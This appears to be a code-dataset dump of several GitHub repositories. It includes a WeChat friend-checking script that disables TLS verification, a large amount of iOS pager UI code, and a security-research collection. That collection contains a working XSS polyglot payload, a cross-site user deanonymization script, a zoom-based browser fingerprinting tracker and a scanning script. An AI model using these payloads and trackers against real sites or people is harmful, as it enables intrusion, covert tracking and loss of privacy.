text
stringlengths 9
39.2M
| dir
stringlengths 26
295
| lang
stringclasses 185
values | created_date
timestamp[us] | updated_date
timestamp[us] | repo_name
stringlengths 1
97
| repo_full_name
stringlengths 7
106
| star
int64 1k
183k
| len_tokens
int64 1
13.8M
|
|---|---|---|---|---|---|---|---|---|
```python
#!/usr/bin/env python
# coding=utf-8
from __future__ import print_function
import os
import requests
import re
import time
import xml.dom.minidom
import json
import sys
import math
import subprocess
import ssl
import threading
DEBUG = False
MAX_GROUP_NUM = 2 #
INTERFACE_CALLING_INTERVAL = 5 # , "",
MAX_PROGRESS_LEN = 50
QRImagePath = os.path.join(os.getcwd(), 'qrcode.jpg')
tip = 0
uuid = ''
base_uri = ''
redirect_uri = ''
push_uri = ''
skey = ''
wxsid = ''
wxuin = ''
pass_ticket = ''
deviceId = 'e000000000000000'
BaseRequest = {}
ContactList = []
My = []
SyncKey = []
try:
xrange
range = xrange
except:
# python 3
pass
def responseState(func, BaseResponse):
ErrMsg = BaseResponse['ErrMsg']
Ret = BaseResponse['Ret']
if DEBUG or Ret != 0:
print('func: %s, Ret: %d, ErrMsg: %s' % (func, Ret, ErrMsg))
if Ret != 0:
return False
return True
def getUUID():
global uuid
url = 'path_to_url
params = {
'appid': 'wx782c26e4c19acffb',
'fun': 'new',
'lang': 'zh_CN',
'_': int(time.time()),
}
r= myRequests.get(url=url, params=params)
r.encoding = 'utf-8'
data = r.text
# print(data)
# window.QRLogin.code = 200; window.QRLogin.uuid = "oZwt_bFfRg==";
regx = r'window.QRLogin.code = (\d+); window.QRLogin.uuid = "(\S+?)"'
pm = re.search(regx, data)
code = pm.group(1)
uuid = pm.group(2)
if code == '200':
return True
return False
def showQRImage():
global tip
url = 'path_to_url + uuid
params = {
't': 'webwx',
'_': int(time.time()),
}
r = myRequests.get(url=url, params=params)
tip = 1
f = open(QRImagePath, 'wb')
f.write(r.content)
f.close()
time.sleep(1)
if sys.platform.find('darwin') >= 0:
subprocess.call(['open', QRImagePath])
elif sys.platform.find('linux') >= 0:
subprocess.call(['xdg-open', QRImagePath])
else:
os.startfile(QRImagePath)
print('')
def waitForLogin():
global tip, base_uri, redirect_uri, push_uri
url = 'path_to_url % (
tip, uuid, int(time.time()))
r = myRequests.get(url=url)
r.encoding = 'utf-8'
data = r.text
# print(data)
# window.code=500;
regx = r'window.code=(\d+);'
pm = re.search(regx, data)
code = pm.group(1)
if code == '201': #
print(',')
tip = 0
elif code == '200': #
print('...')
regx = r'window.redirect_uri="(\S+?)";'
pm = re.search(regx, data)
redirect_uri = pm.group(1) + '&fun=new'
base_uri = redirect_uri[:redirect_uri.rfind('/')]
# push_uribase_uri()(..)
services = [
('wx2.qq.com', 'webpush2.weixin.qq.com'),
('qq.com', 'webpush.weixin.qq.com'),
('web1.wechat.com', 'webpush1.wechat.com'),
('web2.wechat.com', 'webpush2.wechat.com'),
('wechat.com', 'webpush.wechat.com'),
('web1.wechatapp.com', 'webpush1.wechatapp.com'),
]
push_uri = base_uri
for (searchUrl, pushUrl) in services:
if base_uri.find(searchUrl) >= 0:
push_uri = 'path_to_url % pushUrl
break
# closeQRImage
if sys.platform.find('darwin') >= 0: # for OSX with Preview
os.system("osascript -e 'quit app \"Preview\"'")
elif code == '408': #
pass
# elif code == '400' or code == '500':
return code
def login():
global skey, wxsid, wxuin, pass_ticket, BaseRequest
r = myRequests.get(url=redirect_uri)
r.encoding = 'utf-8'
data = r.text
# print(data)
doc = xml.dom.minidom.parseString(data)
root = doc.documentElement
for node in root.childNodes:
if node.nodeName == 'skey':
skey = node.childNodes[0].data
elif node.nodeName == 'wxsid':
wxsid = node.childNodes[0].data
elif node.nodeName == 'wxuin':
wxuin = node.childNodes[0].data
elif node.nodeName == 'pass_ticket':
pass_ticket = node.childNodes[0].data
# print('skey: %s, wxsid: %s, wxuin: %s, pass_ticket: %s' % (skey, wxsid,
# wxuin, pass_ticket))
if not all((skey, wxsid, wxuin, pass_ticket)):
return False
BaseRequest = {
'Uin': int(wxuin),
'Sid': wxsid,
'Skey': skey,
'DeviceID': deviceId,
}
return True
def webwxinit():
url = (base_uri +
'/webwxinit?pass_ticket=%s&skey=%s&r=%s' % (
pass_ticket, skey, int(time.time())) )
params = {'BaseRequest': BaseRequest }
headers = {'content-type': 'application/json; charset=UTF-8'}
r = myRequests.post(url=url, data=json.dumps(params),headers=headers)
r.encoding = 'utf-8'
data = r.json()
if DEBUG:
f = open(os.path.join(os.getcwd(), 'webwxinit.json'), 'wb')
f.write(r.content)
f.close()
# print(data)
global ContactList, My, SyncKey
dic = data
ContactList = dic['ContactList']
My = dic['User']
SyncKey = dic['SyncKey']
state = responseState('webwxinit', dic['BaseResponse'])
return state
def webwxgetcontact():
url = (base_uri +
'/webwxgetcontact?pass_ticket=%s&skey=%s&r=%s' % (
pass_ticket, skey, int(time.time())) )
headers = {'content-type': 'application/json; charset=UTF-8'}
r = myRequests.post(url=url,headers=headers)
r.encoding = 'utf-8'
data = r.json()
if DEBUG:
f = open(os.path.join(os.getcwd(), 'webwxgetcontact.json'), 'wb')
f.write(r.content)
f.close()
# print(data)
dic = data
MemberList = dic['MemberList']
# ,..
SpecialUsers = ["newsapp", "fmessage", "filehelper", "weibo", "qqmail", "tmessage", "qmessage", "qqsync", "floatbottle", "lbsapp", "shakeapp", "medianote", "qqfriend", "readerapp", "blogapp", "facebookapp", "masssendapp",
"meishiapp", "feedsapp", "voip", "blogappweixin", "weixin", "brandsessionholder", "weixinreminder", "wxid_novlwrv3lqwv11", "gh_22b87fa7cb3c", "officialaccounts", "notification_messages", "wxitil", "userexperience_alarm"]
for i in range(len(MemberList) - 1, -1, -1):
Member = MemberList[i]
if Member['VerifyFlag'] & 8 != 0: # /
MemberList.remove(Member)
elif Member['UserName'] in SpecialUsers: #
MemberList.remove(Member)
elif Member['UserName'].find('@@') != -1: #
MemberList.remove(Member)
elif Member['UserName'] == My['UserName']: #
MemberList.remove(Member)
return MemberList
def createChatroom(UserNames):
MemberList = [{'UserName': UserName} for UserName in UserNames]
url = (base_uri +
'/webwxcreatechatroom?pass_ticket=%s&r=%s' % (
pass_ticket, int(time.time())) )
params = {
'BaseRequest': BaseRequest,
'MemberCount': len(MemberList),
'MemberList': MemberList,
'Topic': '',
}
headers = {'content-type': 'application/json; charset=UTF-8'}
r = myRequests.post(url=url, data=json.dumps(params),headers=headers)
r.encoding = 'utf-8'
data = r.json()
# print(data)
dic = data
ChatRoomName = dic['ChatRoomName']
MemberList = dic['MemberList']
DeletedList = []
BlockedList = []
for Member in MemberList:
if Member['MemberStatus'] == 4: #
DeletedList.append(Member['UserName'])
elif Member['MemberStatus'] == 3: #
BlockedList.append(Member['UserName'])
state = responseState('createChatroom', dic['BaseResponse'])
return ChatRoomName, DeletedList, BlockedList
def deleteMember(ChatRoomName, UserNames):
url = (base_uri +
'/webwxupdatechatroom?fun=delmember&pass_ticket=%s' % (pass_ticket) )
params = {
'BaseRequest': BaseRequest,
'ChatRoomName': ChatRoomName,
'DelMemberList': ','.join(UserNames),
}
headers = {'content-type': 'application/json; charset=UTF-8'}
r = myRequests.post(url=url, data=json.dumps(params),headers=headers)
r.encoding = 'utf-8'
data = r.json()
# print(data)
dic = data
state = responseState('deleteMember', dic['BaseResponse'])
return state
def addMember(ChatRoomName, UserNames):
url = (base_uri +
'/webwxupdatechatroom?fun=addmember&pass_ticket=%s' % (pass_ticket) )
params = {
'BaseRequest': BaseRequest,
'ChatRoomName': ChatRoomName,
'AddMemberList': ','.join(UserNames),
}
headers = {'content-type': 'application/json; charset=UTF-8'}
r = myRequests.post(url=url, data=json.dumps(params),headers=headers)
r.encoding = 'utf-8'
data = r.json()
# print(data)
dic = data
MemberList = dic['MemberList']
DeletedList = []
BlockedList = []
for Member in MemberList:
if Member['MemberStatus'] == 4: #
DeletedList.append(Member['UserName'])
elif Member['MemberStatus'] == 3: #
BlockedList.append(Member['UserName'])
state = responseState('addMember', dic['BaseResponse'])
return DeletedList, BlockedList
def syncKey():
SyncKeyItems = ['%s_%s' % (item['Key'], item['Val'])
for item in SyncKey['List']]
SyncKeyStr = '|'.join(SyncKeyItems)
return SyncKeyStr
def syncCheck():
url = push_uri + '/synccheck?'
params = {
'skey': BaseRequest['Skey'],
'sid': BaseRequest['Sid'],
'uin': BaseRequest['Uin'],
'deviceId': BaseRequest['DeviceID'],
'synckey': syncKey(),
'r': int(time.time()),
}
r = myRequests.get(url=url,params=params)
r.encoding = 'utf-8'
data = r.text
# print(data)
# window.synccheck={retcode:"0",selector:"2"}
regx = r'window.synccheck={retcode:"(\d+)",selector:"(\d+)"}'
pm = re.search(regx, data)
retcode = pm.group(1)
selector = pm.group(2)
return selector
def webwxsync():
global SyncKey
url = base_uri + '/webwxsync?lang=zh_CN&skey=%s&sid=%s&pass_ticket=%s' % (
BaseRequest['Skey'], BaseRequest['Sid'], quote_plus(pass_ticket))
params = {
'BaseRequest': BaseRequest,
'SyncKey': SyncKey,
'rr': ~int(time.time()),
}
headers = {'content-type': 'application/json; charset=UTF-8'}
r = myRequests.post(url=url, data=json.dumps(params))
r.encoding = 'utf-8'
data = r.json()
# print(data)
dic = data
SyncKey = dic['SyncKey']
state = responseState('webwxsync', dic['BaseResponse'])
return state
def heartBeatLoop():
while True:
selector = syncCheck()
if selector != '0':
webwxsync()
time.sleep(1)
def main():
global myRequests
if hasattr(ssl, '_create_unverified_context'):
ssl._create_default_https_context = ssl._create_unverified_context
headers = {'User-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36'}
myRequests = requests.Session()
myRequests.headers.update(headers)
if not getUUID():
print('uuid')
return
print('...')
showQRImage()
while waitForLogin() != '200':
pass
os.remove(QRImagePath)
if not login():
print('')
return
if not webwxinit():
print('')
return
MemberList = webwxgetcontact()
print('')
threading.Thread(target=heartBeatLoop)
MemberCount = len(MemberList)
print('%s' % MemberCount)
ChatRoomName = ''
result = []
d = {}
for Member in MemberList:
d[Member['UserName']] = (Member['NickName'], Member['RemarkName'])
print('...')
group_num = int(math.ceil(MemberCount / float(MAX_GROUP_NUM)))
for i in range(0, group_num):
UserNames = []
for j in range(0, MAX_GROUP_NUM):
if i * MAX_GROUP_NUM + j >= MemberCount:
break
Member = MemberList[i * MAX_GROUP_NUM + j]
UserNames.append(Member['UserName'])
# /
if ChatRoomName == '':
(ChatRoomName, DeletedList, BlockedList) = createChatroom(
UserNames)
else:
(DeletedList, BlockedList) = addMember(ChatRoomName, UserNames)
# todo BlockedList
DeletedCount = len(DeletedList)
if DeletedCount > 0:
result += DeletedList
#
deleteMember(ChatRoomName, UserNames)
#
progress = MAX_PROGRESS_LEN * (i + 1) / group_num
print('[', '#' * int(progress), '-' * int(MAX_PROGRESS_LEN - progress), ']', end=' ')
print('%d' % DeletedCount)
for i in range(DeletedCount):
if d[DeletedList[i]][1] != '':
print('%s(%s)' % (d[DeletedList[i]][0],d[DeletedList[i]][1]))
else:
print(d[DeletedList[i]][0])
if i != group_num - 1:
print(',...')
#
time.sleep(INTERFACE_CALLING_INTERVAL)
# todo
print('\n,20s...')
resultNames = []
for r in result:
if d[r][1] != '':
resultNames.append('%s(%s)' % (d[r][0],d[r][1]))
else:
resultNames.append(d[r][0])
print('---------- (%d) ----------' % len(result))
# emoji
resultNames = list(map(lambda x: re.sub(r'<span.+/span>', '', x), resultNames))
if len(resultNames):
print('\n'.join(resultNames))
else:
print("")
print('---------------------------------------------')
# windows
# path_to_url
class UnicodeStreamFilter:
def __init__(self, target):
self.target = target
self.encoding = 'utf-8'
self.errors = 'replace'
self.encode_to = self.target.encoding
def write(self, s):
if type(s) == str:
try:
s = s.decode('utf-8')
except:
pass
s = s.encode(self.encode_to, self.errors).decode(self.encode_to)
self.target.write(s)
if sys.stdout.encoding == 'cp936':
sys.stdout = UnicodeStreamFilter(sys.stdout)
if __name__ == '__main__':
print(',...')
print('1')
main()
print('...')
input()
```
|
/content/code_sandbox/wdf.py
|
python
| 2016-01-02T01:28:59
| 2024-08-09T08:34:27
|
wechat-deleted-friends
|
0x5e/wechat-deleted-friends
| 4,769
| 3,816
|
```javascript
const express = require('express');
const app = express();
const PORT = process.env.PORT || 9333;
app.all('/', (req, res) => res.send(`
Calculating your default signature....
<script>
window.onload = () => {
let orientation = screen.orientation ? screen.orientation.angle :
window.orientation;
let screenHeight = Math.abs(orientation) !== 90 ? screen.height : screen.width;
let signature = window.devicePixelRatio + screenHeight / window.innerHeight;
location.href = '//z00mtrack.herokuapp.com/#' + signature;
};
</script>
`));
app.listen(PORT);
```
|
/content/code_sandbox/z00mdetect.js
|
javascript
| 2016-02-13T17:34:07
| 2024-08-16T18:34:19
|
HackVault
|
0xSobky/HackVault
| 1,917
| 130
|
```javascript
const express = require('express');
const app = express();
const storage = require('node-persist');
const PORT = process.env.PORT || 9333;
app.all('/', (req, res) => res.send(`
You have to zoom in or zoom out and then <s>refresh the page.</s>
<sup>it should refresh itself!</sup>
<script>
window.onload = () => {
let getSignature = () => {
let orientation = screen.orientation ? screen.orientation.angle :
window.orientation;
let screenHeight = Math.abs(orientation) !== 90 ? screen.height : screen.width;
return window.devicePixelRatio + screenHeight / window.innerHeight;
};
let signature = getSignature();
switch (location.hash.slice(1)) {
case '':
location.replace('path_to_url
break;
case signature.toString():
break;
default:
!location.pathname.startsWith('/signature/') &&
location.replace('/signature/' + signature);
}
window.onresize = () => {
if (getSignature() !== signature)
location.replace('');
};
history.pushState(null, null, '/');
};
</script>
`));
app.all('/signature/:signature([\\w.]+)', (req , res) => {
let id, signatureId;
let signature = req.params.signature;
storage.initSync();
id = storage.getItemSync('id') || 1;
id += 1;
storage.setItemSync('id', id);
signatureId = storage.getItemSync(signature);
if (!signatureId) {
storage.setItemSync(signature, id);
res.send(`
You don't appear to have visited this site before!<br>
id = ${id}<br>
signature = ${signature}
`);
} else {
res.send(`
Looks like you have visited this site before!<br>
Your id was #${signatureId}.<br>
P.S. Your signature will get automatically erased from our servers after
30 minutes, because we <s>take your privacy very seriously</s> are running
on a free Heroku dyno!
`);
}
});
app.listen(PORT);
```
|
/content/code_sandbox/z00mtrack.js
|
javascript
| 2016-02-13T17:34:07
| 2024-08-16T18:34:19
|
HackVault
|
0xSobky/HackVault
| 1,917
| 458
|
```javascript
jaVasCript:/*-/*`/*\`/*'/*"/*%0A%0a*/(/* */oNcliCk=alert() )//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3ciframe/<iframe/oNloAd=alert()//>\x3e
```
|
/content/code_sandbox/XSS-polyglot.js
|
javascript
| 2016-02-13T17:34:07
| 2024-08-16T18:34:19
|
HackVault
|
0xSobky/HackVault
| 1,917
| 80
|
```javascript
/**
* Deanonymize a predefined group of users, given sufficient arguments.
* @param attackMethod {string}, the method of the attack (either 'redirection' or 'statusCode').
* @param endpoint {string}, the vulnerable endpoint with the user ID parameter last.
* @param idList {array}, a list of the targeted users' IDs.
* @param callback {function}, a callback function to pass all results to.
* @return {array}, an ordered output array with boolean values.
*/
function deanonymize(attackMethod, endpoint, idList, callback) {
var elNodes, testFn;
var output = [];
// Register a new cross-browser event listener.
var addListener = (function () {
return (window.addEventListener) ? window.addEventListener :
// For IE8 and earlier versions support.
function (evName, callback) {
this.attachEvent('on' + evName, callback);
};
}());
/**
* Create new DOM elements.
* @param tagName {string}, elements' tag name.
* @return {array}, an array of DOM nodes.
*/
var createElements = function (tagName) {
var i, l, el;
var elNodes = [];
for (i = 0, l = idList.length; i < l; i++) {
el = document.createElement(tagName);
if (tagName !== 'link') {
el.src = endpoint + idList[i];
} else {
el.href = endpoint + idList[i];
el.rel = 'stylesheet';
}
if (tagName !== 'img') {
el.onerror = function () {
this.parentElement.removeChild(this);
};
}
elNodes.push(el);
document.documentElement.appendChild(el);
}
return elNodes;
};
/**
* Conduct tests in regard to a given function.
* @param testFn {function}, a test function.
* @return void.
*/
var assess = function (testFn) {
var i, l;
for (i = 0, l = elNodes.length; i < l; i++) {
if (testFn(elNodes[i])) {
output.push(true);
} else {
output.push(false);
}
}
callback(output);
};
if (attackMethod === 'redirection') {
elNodes = createElements('img');
/**
* Test if an image node was loaded or not.
* @param imageNode {object}, a DOM image node.
* @return {boolean}.
*/
testFn = function (imgNode) {
if (imgNode.naturalHeight !== 0 && imgNode.naturalWidth !== 0) {
return true;
}
return false;
};
} else if (attackMethod === 'statusCode') {
elNodes = (/chrome/i.test(navigator.userAgent)) ? createElements('link') :
createElements('script');
/**
* Test if a given element is a child of `documentElement` or not.
* @param el {object}, a DOM element.
* @return {boolean}.
*/
testFn = function (el) {
if (el.parentNode !== document.documentElement) {
return true;
}
return false;
};
}
addListener.call(window, 'load', function () { assess(testFn); });
}
```
|
/content/code_sandbox/deanonymize.js
|
javascript
| 2016-02-13T17:34:07
| 2024-08-16T18:34:19
|
HackVault
|
0xSobky/HackVault
| 1,917
| 713
|
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Automate the reconnaissance process, given a domain name.
"""
from __future__ import absolute_import, print_function
import sys
import socket
import subprocess
from time import sleep
def main():
"""Execute main code."""
try:
domain = sys.argv[1]
ip_address = socket.gethostbyname(domain)
except IndexError:
print('Error: Domain name not specified.')
sys.exit(1)
except socket.gaierror:
print('Error: Domain name cannot be resolved.')
raise
procs = []
whois_cmd = ['whois', domain]
dig_cmd = ['dig', '-t', 'txt', '+short', domain]
wpscan_cmd = ['wpscan', '--force', '--update', '--url', domain]
nmap_hosts_cmd = ['nmap', '-sn', ip_address + '/24']
nmap_script_names = ('*-vuln*, banner, default, dns-brute,'
'dns-zone-transfer, ftp-*, hostmap-ip2hosts, http-config-backup,'
'http-cross*, http-devframework, http-enum, http-headers,'
'http-shellshock, http-sitemap-generator, http-waf-fingerprint,'
'http-xssed, smtp-*, ssl-*, version')
nmap_full_cmd = ['nmap', '-sV', '-sS', '-A', '-Pn', '--script',
nmap_script_names, domain]
cmds = {'TXT Records': dig_cmd, 'WHOIS Info': whois_cmd,
'Active Hosts': nmap_hosts_cmd, 'Nmap Results': nmap_full_cmd,
'WPScan': wpscan_cmd}
def handle_proc(proc):
"""Handle subprocesses outputs."""
separator = '=================='
output = b''.join(proc.stdout.readlines()).decode('utf-8')
print(proc.title)
print(separator)
print(output.strip())
print(separator + '\n')
procs.remove(proc)
for title, cmd in cmds.items():
try:
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
proc.title = title
procs.append(proc)
except OSError:
print('%s >> Dependency error occurred.\n' % title)
while True:
for proc in procs:
retcode = proc.poll()
if retcode is not None:
handle_proc(proc)
else:
continue
if not procs:
break
else:
sleep(1)
if __name__ == '__main__':
print('This is gonna take quite a while; you better go make some coffee!\n')
main()
```
|
/content/code_sandbox/AutoRecon.py
|
python
| 2016-02-13T17:34:07
| 2024-08-16T18:34:19
|
HackVault
|
0xSobky/HackVault
| 1,917
| 586
|
```javascript
/**
* A wrapper object for helper functions.
*/
let regaxorHelpers = {
padLeft(str) {
return str[0] + str;
},
padRight(str) {
return str + str[str.length - 1];
},
replaceDots(str) {
return str.replace(/\./g, 'X');
},
doubleEscape(str) {
return str.replace(/\\/g, '\\\\');
},
prefixLn(str) {
return '\r\n\n\r' + str;
},
postfixLn(str) {
return str + '\r\n\n\r';
},
replicateLn(str) {
return str.repeat(2) + '\u2028' + str;
},
sliceRight(str) {
let length = str.length / 2;
return str.slice(length);
},
sliceLeft(str) {
let length = str.length / 2;
return str.slice(0, length);
},
flip(str) {
let length = str.length / 2;
return str.slice(length) + str.slice(0, length);
},
reverse(str) {
str = str.split('');
str = str.reverse();
return str.join('');
},
changeCase(str) {
if (str.toLowerCase() === str)
str = str.toUpperCase();
else
str = str.toLowerCase();
return str;
},
shuffle(str) {
let arr = str.split('');
let index = arr.length;
while (index--) {
let rand = Math.floor(Math.random() * (index + 1));
[arr[rand], arr[index]] = [arr[index], arr[rand]];
}
return arr.join('');
},
shift(str) {
let arr = str.split('');
let index = arr.length;
let rand = Math.ceil(Math.random() * 5);
while (index--) {
let char = arr[index];
arr[index] = String.fromCharCode(
char.charCodeAt(char) << rand
);
}
return arr.join('');
}
};
/**
* Fuzz a given regular expression.
* @param {string} str - A raw string.
* @param {object|string} re - A regex literal/string literal.
* @param {boolean} literalFlag - `true` for regex literals.
* @return {object} array - An array of object literals.
*/
let regaxor = (str, re, literalFlag) => {
let flags = '';
let outputs = {'matches': [], 'mismatches': []};
if (!literalFlag) {
re = re.trim();
if (re.startsWith('/') && /\/\w*$/.test(re)) {
let parts = re.split('/');
flags = parts[2];
re = parts[1];
}
}
for (let func of Object.values(regaxorHelpers)) {
let result;
let matchStr = func(str);
if (matchStr === str)
continue;
re = flags ? new RegExp(re, flags) : new RegExp(re);
do {
let dict = {};
result = re.exec(matchStr);
if (result !== null) {
dict.index = result.index;
dict.match = result[0];
dict.input = result.input;
outputs.matches.push(dict);
} else {
outputs.mismatches.push(matchStr);
}
} while (re.lastIndex && result !== null &&
re.lastIndex !== matchStr.lastIndexOf(result) + 1);
}
return outputs;
};
```
|
/content/code_sandbox/regaxor.js
|
javascript
| 2016-02-13T17:34:07
| 2024-08-16T18:34:19
|
HackVault
|
0xSobky/HackVault
| 1,917
| 745
|
```objective-c
//
// CollectionViewController.h
// TYPagerControllerDemo
//
// Created by tany on 16/5/17.
//
#import <UIKit/UIKit.h>
@interface CollectionViewController : UIViewController
@property (nonatomic, strong) NSString *text;
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/CollectionViewController.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 56
|
```objective-c
//
// TabPagerViewDmeoController.h
// TYPagerControllerDemo
//
// Created by tany on 2017/7/19.
//
#import <UIKit/UIKit.h>
@interface TabPagerViewDmeoController : UIViewController
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TabPagerViewDmeoController.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 57
|
```objective-c
//
// ListViewController.h
// TYPagerControllerDemo
//
// Created by tany on 16/5/17.
//
#import <UIKit/UIKit.h>
@interface ListViewController : UIViewController
@property (nonatomic, strong) NSString *text;
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/ListViewController.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 56
|
```ruby
Pod::Spec.new do |s|
# pod search [name]
s.name = "TYPagerController"
#
s.version = "2.1.2"
#
s.summary = "page scroll View controller,simple,high custom,and have tabBar styles."
#
s.homepage = "path_to_url"
# LICENSE
s.license = { :type => 'MIT', :file => 'LICENSE' }
#
s.author = { "tany" => "122074809@qq.com" }
# s.social_media_url =""
#
s.platform = :ios, "7.0"
# Clone tag
s.source = { :git => "path_to_url", :tag => s.version.to_s }
# pod
s.source_files = "TYPagerControllerDemo/TYPagerController/**/*.{h,m}"
# s.resources = "**/*/*.bundle"
# ARC
s.requires_arc = true
end
```
|
/content/code_sandbox/TYPagerController.podspec
|
ruby
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 197
|
```objective-c
//
// CustomViewController.h
// TYPagerControllerDemo
//
// Created by tany on 16/4/20.
//
#import <UIKit/UIKit.h>
@interface CustomViewController : UIViewController
@property (nonatomic, strong) NSString *text;
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/CustomViewController.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 56
|
```objective-c
//
// ViewController.h
// TYPagerControllerDemo
//
// Created by tany on 2017/7/6.
//
#import <UIKit/UIKit.h>
@interface ViewController : UIViewController
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/ViewController.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 45
|
```objective-c
//
// PagerControllerDmeoController.m
// TYPagerControllerDemo
//
// Created by tany on 2017/7/19.
//
#import "PagerControllerDmeoController.h"
#import "TYTabPagerBar.h"
#import "TYPagerController.h"
#import "ListViewController.h"
#import "CollectionViewController.h"
#import "CustomViewController.h"
@interface PagerControllerDmeoController ()<TYTabPagerBarDataSource,TYTabPagerBarDelegate,TYPagerControllerDataSource,TYPagerControllerDelegate>
@property (nonatomic, weak) TYTabPagerBar *tabBar;
@property (nonatomic, weak) TYPagerController *pagerController;
@property (nonatomic, strong) NSArray *datas;
@end
@implementation PagerControllerDmeoController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
self.title = @"PagerControllerDmeoController";
self.view.backgroundColor = [UIColor whiteColor];
[self addTabPageBar];
[self addPagerController];
[self loadData];
}
- (void)addTabPageBar {
TYTabPagerBar *tabBar = [[TYTabPagerBar alloc]init];
tabBar.layout.barStyle = TYPagerBarStyleProgressElasticView;
tabBar.dataSource = self;
tabBar.delegate = self;
[tabBar registerClass:[TYTabPagerBarCell class] forCellWithReuseIdentifier:[TYTabPagerBarCell cellIdentifier]];
[self.view addSubview:tabBar];
_tabBar = tabBar;
}
- (void)addPagerController {
TYPagerController *pagerController = [[TYPagerController alloc]init];
pagerController.layout.prefetchItemCount = 1;
//pagerController.layout.autoMemoryCache = NO;
// scrollpagerview
pagerController.layout.addVisibleItemOnlyWhenScrollAnimatedEnd = YES;
pagerController.dataSource = self;
pagerController.delegate = self;
[self addChildViewController:pagerController];
[self.view addSubview:pagerController.view];
_pagerController = pagerController;
}
- (void)viewWillAppear:(BOOL)animated {
[super viewWillAppear:animated];
}
- (void)viewWillDisappear:(BOOL)animated {
[super viewWillDisappear:animated];
}
- (void)viewWillLayoutSubviews {
[super viewWillLayoutSubviews];
_tabBar.frame = CGRectMake(0, CGRectGetMaxY(self.navigationController.navigationBar.frame), CGRectGetWidth(self.view.frame), 36);
_pagerController.view.frame = CGRectMake(0, CGRectGetMaxY(_tabBar.frame), CGRectGetWidth(self.view.frame), CGRectGetHeight(self.view.frame)- CGRectGetMaxY(_tabBar.frame));
}
- (void)loadData {
NSMutableArray *datas = [NSMutableArray array];
for (NSInteger i = 0; i < 20; ++i) {
[datas addObject:i%2 == 0 ? [NSString stringWithFormat:@"Tab %ld",i]:[NSString stringWithFormat:@"Tab Tab %ld",i]];
}
_datas = [datas copy];
[self reloadData];
}
#pragma mark - TYTabPagerBarDataSource
- (NSInteger)numberOfItemsInPagerTabBar {
return _datas.count;
}
- (UICollectionViewCell<TYTabPagerBarCellProtocol> *)pagerTabBar:(TYTabPagerBar *)pagerTabBar cellForItemAtIndex:(NSInteger)index {
UICollectionViewCell<TYTabPagerBarCellProtocol> *cell = [pagerTabBar dequeueReusableCellWithReuseIdentifier:[TYTabPagerBarCell cellIdentifier] forIndex:index];
cell.titleLabel.text = _datas[index];
return cell;
}
#pragma mark - TYTabPagerBarDelegate
- (CGFloat)pagerTabBar:(TYTabPagerBar *)pagerTabBar widthForItemAtIndex:(NSInteger)index {
NSString *title = _datas[index];
return [pagerTabBar cellWidthForTitle:title];
}
- (void)pagerTabBar:(TYTabPagerBar *)pagerTabBar didSelectItemAtIndex:(NSInteger)index {
[_pagerController scrollToControllerAtIndex:index animate:YES];
}
#pragma mark - TYPagerControllerDataSource
- (NSInteger)numberOfControllersInPagerController {
return 20;
}
- (UIViewController *)pagerController:(TYPagerController *)pagerController controllerForIndex:(NSInteger)index prefetching:(BOOL)prefetching {
if (index%3 == 0) {
CustomViewController *VC = [[CustomViewController alloc]init];
VC.text = [@(index) stringValue];
return VC;
}else if (index%3 == 1) {
ListViewController *VC = [[ListViewController alloc]init];
VC.text = [@(index) stringValue];
return VC;
}else {
CollectionViewController *VC = [[CollectionViewController alloc]init];
VC.text = [@(index) stringValue];
return VC;
}
}
#pragma mark - TYPagerControllerDelegate
- (void)pagerController:(TYPagerController *)pagerController transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex animated:(BOOL)animated {
[_tabBar scrollToItemFromIndex:fromIndex toIndex:toIndex animate:animated];
}
-(void)pagerController:(TYPagerController *)pagerController transitionFromIndex:(NSInteger)fromIndex toIndex:(NSInteger)toIndex progress:(CGFloat)progress {
[_tabBar scrollToItemFromIndex:fromIndex toIndex:toIndex progress:progress];
}
- (void)reloadData {
[_tabBar reloadData];
[_pagerController reloadData];
}
- (void)didReceiveMemoryWarning {
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
}
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/PagerControllerDmeoController.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 1,148
|
```objective-c
//
// PagerViewDmeoController.m
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/6.
//
#import "PagerViewDmeoController.h"
#import "TYPagerView.h"
#import "TYTabPagerBar.h"
@interface PagerViewDmeoController ()<TYPagerViewDataSource, TYPagerViewDelegate,TYTabPagerBarDataSource,TYTabPagerBarDelegate>
@property (nonatomic, weak) TYTabPagerBar *tabBar;
@property (nonatomic, weak) TYPagerView *pageView;
@property (nonatomic, strong) NSArray *datas;
@end
@implementation PagerViewDmeoController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
//self.automaticallyAdjustsScrollViewInsets = NO;
self.view.backgroundColor = [UIColor whiteColor];
UIBarButtonItem *reloadItem = [[UIBarButtonItem alloc]initWithTitle:@"reload" style:UIBarButtonItemStylePlain target:self action:@selector(reloadData)];
